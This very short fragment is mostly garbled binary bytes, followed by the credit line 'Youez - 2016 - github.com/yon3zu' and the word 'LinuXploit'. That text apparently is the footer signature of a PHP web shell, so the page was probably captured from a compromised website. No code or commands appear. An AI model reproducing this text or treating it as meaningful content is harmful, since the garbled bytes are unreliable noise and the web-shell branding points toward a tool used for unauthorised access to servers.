��3�3�3�#�O�%��1��)��5���M��M�-���L��w�	��	��`�	��	�s0�G�!G�G�G�G�G$�G$�#G$

Youez - 2016 - github.com/yon3zu
LinuXploit